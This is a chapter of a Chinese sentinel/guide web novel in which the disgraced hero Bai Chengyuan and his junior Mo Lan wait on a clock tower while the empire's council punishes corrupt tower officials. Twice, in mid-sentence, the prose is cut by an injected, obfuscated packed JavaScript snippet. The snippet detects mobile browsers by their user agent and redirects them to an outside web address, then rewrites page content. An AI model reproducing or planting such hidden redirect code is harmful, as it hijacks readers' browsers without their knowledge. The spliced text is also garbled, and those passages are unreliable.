“要上来就上来,跟个鬼似的偷窥什么。” 他漫不经心地抬头,瞧着天空升起的那轮皎洁的弯月。 “……哈、哈,还是师兄厉害。” 墨兰干笑了两声,费劲地扒在房檐的边缘,踮脚踩着钟楼外壁凸出的土块。 “我现在就上来。” 他试图依靠手臂的力量将自己拉上屋檐,可身体却纹丝不动,只留下一张涨红的脸。 不过两年的时间,塔内安逸的生活已经磨灭了他在军校期间的豪情万丈。 原本紧实的肌肉不知何时不见了踪影,只剩下日渐鼓起的肚腩。 可真是丢人丢到姥姥家了。 墨兰咬牙,一鼓作气向上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13877692|146920||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 攀。 眼看着就要成功,脚下的石块却突然碎裂。他脚下一空,身体顿时后仰,栽向半空中。 想象中的坠落并没有发生。 白成渊拉着墨兰的手臂,将他拖了上来。 “还是师兄厉害。”墨兰腆着脸套近乎,小心翼翼观察着白成渊的脸色,生怕触了对方的霉头。 “怎么找来的?” 白成渊闷头抽烟,连一个眼神都没施舍给他。 墨兰大脑飞速运转,开口道:“我找哨兵——” 问字还没出口,就被白成渊打断。 “是洛基告诉你的。” 他抬眼看向不远处塔上的监视器。 “……” 人生第一次说谎,就这么被水灵灵地戳破了。 墨兰萎靡下来,蔫蔫地找了个旁边的位置坐下。 两人就这么并排坐在一起,沉默不语。 被迫赏月的墨兰觉得自己应该说些什么,可话到嘴边又咽了回去。 “要是劝我,就把你踢下去。”白成渊半是警告半是玩笑地威胁。 墨兰连忙点头,做出将嘴拉上拉链的动作。 “嗡、嗡……” 终端又一次传来了震动。 墨兰偷偷看了眼上面的备注。 这不看不要紧,一看顿时激动起来。 好家伙,没记错的话,这可是军部某个大佬的名字。 他暗自咂舌,全天下兴许也就只有白成渊敢不接他们的电话了。 不,还有皇帝陛下。 然而,还没看多久热闹,他手腕的终端竟也跟着响了起来。 “煞笔上司神经病~”欢快的音乐回荡在钟楼上空。 感受到白成渊询问的目光,墨兰十分尴尬,硬着头皮解释道:“平时我都是静音的。” 这解释苍白无力,显得十分窝囊,倒还不如不解释。 在“煞笔上司去吃屎”的音乐声中,墨兰看清楚了屏幕上的备注,一时有些失语—— 煞笔上司。 真是说谁谁来。 就算再不会读空气,墨兰也知道现在正是表示自己立场的时刻。 就算师兄当众扬言要掀了他的工位,墨兰也心甘情愿给师兄当应声虫。 他早就看不惯塔里这群人了,他们都是自找的!活该! 要不是被上司以工作要挟,墨兰才不愿意过来当探子呢。 泥人尚有几分血性呢,兔子急了还知道咬人。 向来被当作软柿子搓圆捏扁的墨兰,看了看白成渊,又看了看终端上的备注,终于鼓起勇气,咬牙挂断了通讯。 下一秒,老毕登的短信飞快弹过来—— 【墨兰!你胆儿肥了是不是?敢挂我电话?!】 【你小子等着!等这事过去了,看我怎么收拾你!!】 墨兰气鼓鼓地瞪着终端。 半分钟后,两条信息被依次撤回了。 估计是老毕登在无能狂怒后,恢复了理智。 【……墨兰,我是你上司,我还能害你不成?】 他甚至能想象到老毕登输入这段话时脸上恶心的表情。 【赶紧去劝劝那个瘟神,要是事情真闹大了,你以为咱们这些人谁能全身而退?】 殊不知,墨兰压根儿就没想遮挡。终端上的内容,全都一字不落地落进白成渊的眼里。 22. 根基 “……瘟神。” 白成渊一眼看见了那句话,将这个称呼重复了一遍,玩味地笑了笑。 他大概真是个瘟神,走到哪里,哪里就要遭殃。 “师兄,别理那个煞笔。” 墨兰现在就是天王老子来了都不怕。情绪上了头,他将平日积攒的怨气全部发泄出来。 “我早就看不惯他们了,师兄你这是替天行道。” 话毕,他又转而担心起来。 墨兰不了解贵族之间错综复杂的势力关系,他只是单纯知道,这次师兄肯定得罪了不少人。 就算知道对方是白家人,又是荣光军的一员,墨兰仍无法避免地担心起他。 虽然他从没见过这个身处在塔背后的神秘人,可他却深深明白,对方的地位只怕在帝国权贵中都足够举足轻重。 煞笔上司狗眼看人低,可唯独遇见那位“大人”,拼命地伏低做小,狗腿至极。 如果不是对方不需要,墨兰怀疑上司甚至做得出舔鞋的举动。 他脸上的忧虑实在太过明显,以至于白成渊根本没法无视。 “别担心,这事跟你没关系。” 他以为墨兰在担心自己的工作,拍了拍对方的肩膀安慰道: “放心,只要我在,没人敢动你。” 墨兰听闻,眼眶瞬间一热,雾气涌现,眼前的线条逐渐扭曲起来。 他悄悄偏过头,瘪了瘪嘴。 明明就是塔里那群家伙的问题,可到头来,揭露这件事的白成渊却成为了众矢之的。 好像全天下的人都要过来指责他们多管闲事。 他们死命把这些破事捂起来,生怕自己金玉其外,败絮其中的事实被世人发现。 “再等等吧。” 白成渊感受到了身边人情绪的波动,但还是当作什么都没发现,低头看了眼时间。 他的脸上浮现了一如既往的倦怠。 “大概再有两个小时,我们就能回去休息了。” 两个小时? 墨兰看了眼终端。 现在刚好是晚上二十二点整。 他有些懵懂,但凭借着出于本能的信任,还是乖巧地点了点头。 * 事情的转机出现在西城时间二十三点三十七分。 那是白成渊摔碎面具后,接起的第一通电话。 “喂——”白成渊看了眼墨兰,也没打算挪个地方。 两人的距离离得有些近,即使墨兰没打算故意偷听对方的讲话,却仍不可避免地将说话的内容听了个大概。 “小白,我已经听说这件事了。”韩申的声音突然想起,对方似乎偷偷跑出来,气息有些不稳, “不用担心,你背后站着我们。手下人已经做好应对准备了,这件事对我们的冲击会被降到最低。” 白成渊轻轻“嗯”了一声。 这个“我们”指的是谁,自然不言而喻。 “ 他握着终端,生过冻疮的手指隐隐传来温热的痒痛。 蒙多国的冬季实在是太冷了,冬天长而黑天早,再过一段时间,估计下午四五点钟就要天黑。 生活在这里,总感觉自己的心也一点点变得冰封起来。 时间逐渐接近午夜,弯月越升越高,高悬于空中。轻柔的月光倾泻而下,周围皑皑的雪地正闪烁着细碎的银光。 古老的建筑屹立在雪地的中央,高耸的塔尖直指云霄。在他们的脚下,是纵横交错的铁丝网与已经年久失修的建筑残骸。 在这寂静的夜晚,只有风声喧嚣,远处引航灯的微光,照亮着这场无声的雪夜。 从某种意义上来讲,这里真的和白塔很像。 ——过去的白塔。 在这短短几天中,白成渊看见了血腥残酷的擂台,看见了见风使舵、拍马溜须的守卫,也初窥到这座塔“吃人”的一面。 这座不可撼动、象征着惩罚与新生的塔,渐渐变成了一个用于满足权贵私欲、寻欢作乐的地方。 虽然白成渊对此早有猜测,但当他真正身处在其中,仍不可避免地感受到失望。 他所为之奋斗的一切,所信仰的一切,都被时间这把杀猪刀渐渐磨平。 曾经的荣光军,是为了创造人人平等、和平安宁的世界而奋斗的队伍。 他闭上眼,就能看到无数张陌生又或熟悉的脸庞划过。 那些都曾是陪伴在他身边的战友,但他们如今长眠在冰冷坚硬的冻土之下。 长达七年的疗养生活,让白成渊渐渐成为了一个脱离潮流与时代的老古董。 他每天躺在病床上,不需要与外界进行过多的接触,目之所及皆是纯白的窗帘与床单。 前来探望他的人们,纷纷在他的枕边献上象征着英雄凯旋而归的鲜花。 那段时间,每次苏醒在暖融融的阳光中,枕间都是扑鼻的香气。 即使后来探望的人愈来愈少,可白成渊仍对自己未来的全新生活充满了向往。 他一直以为,全新的生活才刚刚开始。 战争损伤了他的精神图景,七年的修养时间,何尝不是一种放慢脚步的方式。 那些残酷的过去在一天又一天的阳光与花香中渐渐远去,久远得像是上辈子发生的事情。 他躺在病床上,期待着新生。 然而,白成渊却忽略了一点。 对于蒙多国的众人来说,全新的生活早就在九年前开始。 那一天,随着黑色动乱的结束,内战彻底平息,过去残酷的日子落下了帷幕。 被留在原地,以为一切才刚刚开始的人,始终只有白成渊一人。 九年的时间,屠龙者终成恶龙。 鲜花簇拥的荣光军,成为了这个国家,隐藏在阴影中如附骨之蛆的存在。 不知过了多久,白成渊才找回自己的声音。 “麻烦你们了。”他揉了揉眼睛,被寒风吹久的嗓音有些沙哑。 “嗨,一家人说什么两家话。” 韩申依旧毫不在意这些隐藏在话语之下的感激, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13877693|146920||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 和当初没什么两样。 “这事我已经提前和白姐通过气了,她会在皇帝面前适当表示立场的。” “就在半个小时前,帝国议会紧急召开。现场吵闹得很,几拨人差点当着皇帝的面打起来——都是在互相推诿责任。皇帝的态度很明确,塔的制度整改,已经板上钉钉了。” “现在就是统票走个流程,结果应当很快就会出来。” 对于这样的结果,白成渊并不意外。 然而,一直处在云里雾里状态的墨兰,却突然明白过来。 原来,师兄并不是非要向塔的负责人讨一个说法,这不过是他随便找到的说辞而已。 又不是小孩子玩过家家,非要讲究一个是非对错。 墨兰慢半拍地意识到,师兄这是故意要把事情闹大、搅浑,让这群人遮无可遮,挡无可挡。 白家确实很有威望。 所以白成渊干脆利用自己的身份,以身入阵,将这件事闹大,逼得其他人不得不去正视。 他要让这群人好好看清楚,这座根基腐烂散发恶臭的塔。 在距离今天结束还有八分钟。 终端再一次响起。 这一次,白成渊很快接了起来。 “塔的负责人莱斯特按军法处置,一会就会被审判所的士兵带走等待审判所审判结果。” “塔内所有校级及以上军官的军衔连降两级;斯诺家族的事情调查局还在调查,一旦确认犯罪行为,帝国绝不姑息。” “你对这个结果感到满意吗?” 终端对面传来中年人的声音略显疲态。 “我最初不想让你来这里,也是这个原因。” 翟部长长叹一声, “韩申年龄不小了,居然也愿意陪着你胡闹。你是不知道,他在议会上大声嚷嚷,说如果不能严惩这些人,就将事情彻底曝光给群众。” “我知道他在你的授意下私自养了一群靠笔杆子吃饭的媒体,甚至那几家新闻社在帝国舆论上颇有影响力。” “可是,小白啊,为什么非要将事情闹得这样不可开交呢,就算是你这样的背景,结了这么多的仇家也吃不消吧?” “不过是些犯了罪的哨兵,死了也就死了,都是些没什么价值的牺牲品。” 白成渊微微皱眉,“斯诺家族不是幕后黑手,他们可能甚至都不知道推波助澜的人是谁。” 他无法接受对方口中所谓的“牺牲品”。尤其说出这种话的人,是自己极为尊敬的长辈。 不过他大概也能理解对方的感受。 作为平民出身的翟部长,想要爬到如今的位置,所能付出的代价自然绝非其他人可以想象。 他比白成渊等人,要更加珍惜如今的地位,也更加小心翼翼地去维护和其他家族之间的关系。 这是人之常情,无可厚非。 但他似乎忘记了一件很重要的事情。 “当初向导们反抗哨兵政府的原因,也是因为哨兵认为,‘随便死几个向导没什么关系’。”